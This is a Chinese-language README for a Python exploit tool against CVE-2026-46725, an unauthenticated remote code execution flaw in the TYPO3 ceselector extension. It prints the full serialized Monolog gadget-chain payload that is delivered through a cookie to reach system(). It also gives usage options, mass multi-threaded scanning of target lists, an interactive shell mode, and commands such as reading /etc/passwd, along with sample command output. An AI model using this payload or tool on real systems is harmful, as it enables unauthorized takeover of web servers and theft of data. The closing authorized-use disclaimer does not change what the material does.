
针对 CVE-2026-46725 的 Python 利用工具,通过 PHP 对象注入和 Monolog gadget 链,在 TYPO3 ceselector 扩展中实现未经身份验证的远程代码执行。
通过
unserialize()Cookie 绕过实现 PHP 对象注入 → 远程代码执行
TYPO3 的 ceselector 扩展将名为 T3_ceselector_* 的 cookie 值直接传递给 unserialize() 函数,而不进行任何验证。攻击者可以通过在此 cookie 中放入精心构造的 PHP 对象注入 payload,在服务器上执行任意命令。
⚠️ 前提条件: 要利用此漏洞,需要在 TYPO3 配置中启用 Persistent Mode: Static 设置。
1. GET / → 服务器返回 Set-Cookie: T3_ceselector_<id>=<value>
2. GET / → Cookie: T3_ceselector_<id>=<PAYLOAD>
└─ 触发 PHP unserialize()
└─ Monolog Gadget Chain 执行
└─ system("id") 输出反映在响应中
Monolog\Handler\GroupHandler
└─ Monolog\Handler\BufferHandler
└─ Monolog\LogRecord (buffer)
└─ processors: [get_object_vars, end, system]
└─ system("<CMD>") ← RCE
O:28:"Monolog\Handler\GroupHandler":1:{
s:11:"*handlers";a:1:{
i:0;O:29:"Monolog\Handler\BufferHandler":6:{
s:10:"*handler";r:3;
s:13:"*bufferSize";i:1;
s:14:"*bufferLimit";i:0;
s:9:"*buffer";a:1:{
i:0;O:17:"Monolog\LogRecord":2:{
s:5:"level";E:19:"Monolog\Level:Debug";
s:5:"mixed";s:2:"id"; ← 此处放置 OS 命令
}
}
s:14:"*initialized";b:1;
s:13:"*processors";a:3:{
i:0;s:15:"get_object_vars";
i:1;s:3:"end";
i:2;s:6:"system"; ← sink
}
}
}
}
requests 库Python >= 3.8
requests >= 2.28.0
# 克隆仓库
git clone https://github.com/example/CVE-2026-46725
cd CVE-2026-46725
# 安装依赖
pip install requests
# 或使用 requirements.txt
pip install -r requirements.txt
requirements.txt
requests>=2.28.0
urllib3>=1.26.0
usage: CVE-2026-46725 [-h] (-u URL | -l FILE) [-c CMD] [-i]
[-t N] [--timeout S] [--proxy URL]
[-o FILE] [-v] [--no-color]
options:
目标:
-u, --url URL 单个目标 URL
-l, --list FILE 目标列表(每行一个 URL)
利用:
-c, --cmd CMD 要执行的 OS 命令(默认为: id)
-i, --interactive 利用成功后打开交互式 shell
扫描:
-t, --threads N 线程数(默认: 10)
--timeout S 超时秒数(默认: 15)
--proxy URL 代理(例如: http://127.0.0.1:8080)
输出:
-o, --output FILE 结果保存文件
-v, --verbose 详细输出
--no-color 无颜色输出
python CVE-2026-46725.py -u https://typo3-site.com
python CVE-2026-46725.py -u https://typo3-site.com -c "whoami"
python CVE-2026-46725.py -u https://typo3-site.com -c "cat /etc/passwd"
python CVE-2026-46725.py -u https://typo3-site.com -c "uname -a"
python CVE-2026-46725.py -u https://typo3-site.com --interactive
typo3@ceselector $ id
│ uid=33(www-data) gid=33(www-data) groups=33(www-data)
typo3@ceselector $ uname -a
│ Linux web01 5.15.0-91-generic #101-Ubuntu SMP x86_64 GNU/Linux
typo3@ceselector $ pwd
│ /var/www/html
typo3@ceselector $ exit
# 使用 20 个线程扫描,保存结果
python CVE-2026-46725.py -l targets.txt -t 20 -o results.txt
# 30 个线程,自定义命令
python CVE-2026-46725.py -l targets.txt -t 30 -c "id"
python CVE-2026-46725.py -u https://typo3-site.com \
--proxy http://127.0.0.1:8080 -v
https://site1.com
https://site2.com
http://site3.com
site4.com
① TYPO3 & ceselector 检测
────────────────────────────────────────────────────
· TYPO3 ✓ 已检测到
· ceselector ✓ 已激活
· Cookie 名称 T3_ceselector_48291
· TYPO3 版本 12.4.3
② 准备 Payload
────────────────────────────────────────────────────
· 技术 PHP 对象注入 → Monolog Gadget Chain
· Gadget Monolog\Handler\GroupHandler
· Sink system()
· 命令 id
④ RCE 输出
────────────────────────────────────────────────────
┌─ RCE 输出 ───────────────────────────────────
│ uid=33(www-data) gid=33(www-data) groups=33(www-data)
└─────────────────────────────────────────────────
results.txt)============================================================
CVE-2026-46725 — TYPO3 ceselector RCE
日期: 2026-05-26 17:30:00
============================================================
[+] 获取 RCE 的目标 (2)
----------------------------------------
URL : https://typo3-site.com
版本 : 12.4.3
Cookie : T3_ceselector_48291
命令 : id
输出 : uid=33(www-data) gid=33(www-data) groups=33(www-data)
┌─────────────────────────────────────────────────────────┐
│ 利用流程 │
├─────────────────────────────────────────────────────────┤
│ │
│ 1. 检测 │
│ GET / ──────────────────────► TYPO3 服务器 │
│ ◄──── Set-Cookie: T3_ceselector_XXXXX ───── │
│ │
│ 2. 构建 Payload │
│ build_payload("id") │
│ └─ Monolog gadget 链进行 URL 编码 │
│ │
│ 3. 利用 │
│ GET / │
│ Cookie: T3_ceselector_XXXXX=O:28:"Monolog... │
│ ──────────────────────► unserialize() │
│ └─ __destruct() │
│ └─ system("id") │
│ ◄──── uid=33(www-data) gid=33(www-data) ─── │
│ │
│ 4. 验证 │
│ regex: uid=\d+\([a-z_][a-z0-9_-]*\)\s+gid=... │
│ │
└─────────────────────────────────────────────────────────┘
此工具仅用于教育和授权的安全测试。
- 仅可在 您自己的系统 或 获得明确授权 的系统上使用。
- 未经授权使用属于 非法行为,可能产生法律后果。
- 开发者 不承担 因滥用此工具而产生的任何责任。
CVE-2026-46725 | TYPO3 ceselector RCE | Python Exploit
| 字段 | 详情 |
|---|
| CVE ID | CVE-2026-46725 |
| 产品 | TYPO3 ceselector 扩展 (mmc/ceselector) |
| 受影响版本 | <= 1.1.3 |
| 漏洞类型 | 不安全的反序列化(PHP 对象注入) |
| CVSS 评分 | 9.8 严重 |
| CVSS 向量 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-502(不可信数据的反序列化) |
| EPSS 评分 | 0.0046(64.3% 百分位) |
| 身份验证 | 不需要(未认证) |
| 影响 | 完全 RCE —— 系统完全控制 |
| 发现者 | DhiyaneshDk |